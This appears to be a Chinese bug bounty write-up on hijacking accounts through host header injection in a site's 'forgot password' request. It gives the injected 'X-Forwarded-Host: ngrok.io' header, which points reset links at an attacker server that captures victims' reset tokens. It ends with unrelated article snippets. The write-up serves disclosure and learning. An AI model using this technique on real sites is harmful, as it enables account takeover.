挖漏经验:在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持
今天分享的这篇Writeup为作者通过利用目标网站“忘记密码”功能,在重置密码请求发包中添加X-Forwarded-Host主机信息,欺骗目标网站把重置密码的链接导向到自己的服务器,从而实现对受害者账户的完全劫持。
这里,基于保密原因,先假设目标测试网站为redacted.com,在对其测试过程中,我把重点放到了它的“忘记密码”功能处。经过了6个小时的折腾,我发现了其中存在一个非常有意思的漏洞,利用该漏洞可以实现对目标受害者的完全账户劫持。
发现过程
所需工具:BurpSuite、Ngrok Server。Ngrok服务可以将自己本地PC映射到云上的Server公网,目的为将本地PC变成与外部网络交流的终端服务器,间接把云上的Server则变成外网与内网PC之间的中转代理。
1、访问目标网站的忘记密码功能,在其中输入用户名信息请求获得重置密码链接:https://redacted.com/users/forgot_password,Notice:之后目标网站会往你的注册邮箱发送一个重置密码链接。
2、在上过程中,用BurpSuite开启Web抓包,请求包情况如下:
从中我们添加一个X-Forwarded-Host: bing.com来尝试,看看目标网站是否会把这个重置密码链接包含进bing.com;
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案[1]中正式提出。具体点此处参考。
3、这里,我们打开邮箱,查看目标网站发送过来的密码重置链接长啥样,哇,从发来的邮件中我们可以看到,其中包含了用户Token信息的密码重置链接,大致样子如下:
https://bing.com/users/reset_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES
就这样,我们可以认为我的密码重置Token信息已经转发给bing.com了,这里需要对这个Token做个真实验证,所以,我们可以把密码重置链接中的https://bing.com替换成目标网站的https://redacted.com;
4、果然,我们打开了一个能真正实施重置密码的页面!
漏洞利用
根据以上操作和存在的问题,我可以构造网络架构来劫持用户相关信息。步骤如下:
1、通过ngrok服务架设 Attacker服务器;
2、开启Burpsuite抓包,在目标网站的“忘记密码”处输入受害者用户名信息,执行密码重置确定操作;
3、在Burpsuite抓到的密码重置请求包中,添加Attacker服务器,格式如:
X-Forwarded-Host: ngrok.io
其中ngrok.io为Attacker服务器的域名地址。如:
4、 因此,当受害者邮箱收到目标网站发送的密码重置链接中就会包含Attacker服务器的域名地址,如:
http://ngrok.io/users/reset_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES
当受害者一不小心点击了该链接之后,就会带着其用户密码重置Token去请求Attacker服务器ngrok.io(这里需要与用户的交互动作);
5、在受害者点开上述链接的同时,在Attacker服务器ngrok.io这边,攻击者看到的将会是包含受害者用户密码重置Token的一个请求信息,如下:
6、到此,攻击者获得了受害者用户的密码重置Token之后,把Attacker服务器ngrok.io替换成目标网站https://redacted.com,加上后续的受害者用户的密码重置Token,就可成功对受害者账户的重置密码,实现对其账户的完全劫持。
我把该漏洞进行上报后,奖励了我3位数美金的奖励$(Between $700-$1000)。感谢阅读。
挖漏经验:在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持相关推荐
- 爬虫-在请求头中添加cookie键值对 访问登陆后可见的页面
关于cookie >笔记 >理解 cookie相当于病人手里的病历 cookie的格式 请求头中添加cookie键值对 练习-不使用cookie访问个人中心 访问人人网个人中心 结果是得到 ...
- Vue:全局拦截所有请求,并在请求头中添加token
Vue:全局拦截所有请求,并在请求头中添加token 在实际的项目中,为了登录的安全,token是必不可少的,所以就需要前后端配合,后端生成和验证token(这方面我也写过博客,讲述后端对token的 ...
- ajax被token拦截,vue中封装ajax请求,并且拦截请求在请求头中添加token
/** * 封装请求方法 * @param {Object} url 接口请求地址 * @param {Object} data 接口请求参数(无需请求方式参数,则此项可以为空,否则必须传) * @p ...
- axios请求拦截器在请求头中添加token
验证用户是否需要登陆,如果需要登陆在请求前在请求头中自动添加token字段. 代码: // request 拦截器 // 可以自请求发送前对请求做一些处理 request.interceptors.r ...
- 挖洞技巧:任意账号密码重置
1.通过忘记密码的方式,拦截数据包,修改接受验证码的手机号或者邮箱帐号. 这里需要的注意的是看系统是否做校验数据,有的只校验了用户信息但是没有校验手机号码,就算收到验证码也是没有不能够正常重置该用户名 ...
- 任意用户密码重置的10种姿势
1.验证码不失效 具体操作流程 2.验证码直接返回 具体操作流程 3.验证码未绑定用户 具体操作流程 4. 修改接收的手机或邮箱 具体操作流程 5.本地验证的绕过 具体操作流程 6.绕过验证步骤 具体 ...
- weblogic12c重置密码linux,weblogic 12c忘记domain密码重置方法
weblogic 12c 忘记域密码重置方法 1.添加java变量 配置环境变量:右击"我的电脑"-->"高级"-->"环境变量" ...
- ios计算机错误,解决都叫兽™iOS密码重置与USB连接相关的错误(iOS,Error Code 13)...
吴川 华南区技术负责人 概要 都叫兽™iOS密码重置可有效帮助您解决忘记密码.设备启动崩溃等问题.本文将针对在Windows系统下使用该软件遇到的"Unstable USB connecti ...
- http请求头中Referer的作用及危害
一.Referer Referer是HTTP请求header中的一部分,其表示请求当前资源的客户端来源,当浏览器(或模拟浏览器行为)向web服务器发送请求的时候,头部信息里会携带Referer. 例如 ...
最新文章
- mxnet报错解决:AttributeError: module 'mxnet.context' has no attribute 'num_gpus'
- JS——EasyuiCombobox三级联动
- python with用法
- 关于SAP ABAP字符变量和字符串变量字符个数的一个知识点,和一个血案
- android自定义adapter怎么优化,Android必学-BaseAdapter的使用与优化
- 伴鱼:借助 Flink 完成机器学习特征系统的升级
- exit、break、continue的区别
- SSL和数字证书服务慨述(4)
- es6 Map,Set 和 WeakMap,WeakSet
- paip.软件版本完善计划VC423
- bbsmax 2.0 的前世今生,这几年喳喳鸟都在做什么?
- 离线式echarts模拟百度迁徙的实现
- Eplan教程——项目检查错误 005013/005014:连接点类型不同
- 奇点云数据中台技术汇(三)| DataSimba系列之计算引擎篇
- 基于51单片机WIFI遥控防盗电子密码锁APP控制方案原理图设计
- 【最新面试】2022年软件测试面试题大全(持续更新)附答案
- 连接多个内网的方法,想连多少个连多少个
- 2021-10-18墨画子卿第一章
- 微型计算机显示器的两种引线,第八章章节微型计算机接口技术8-2led显示器接口.ppt...
- 佳明 Fenix 7S、佳明Fenix 7和Fenix 7X评测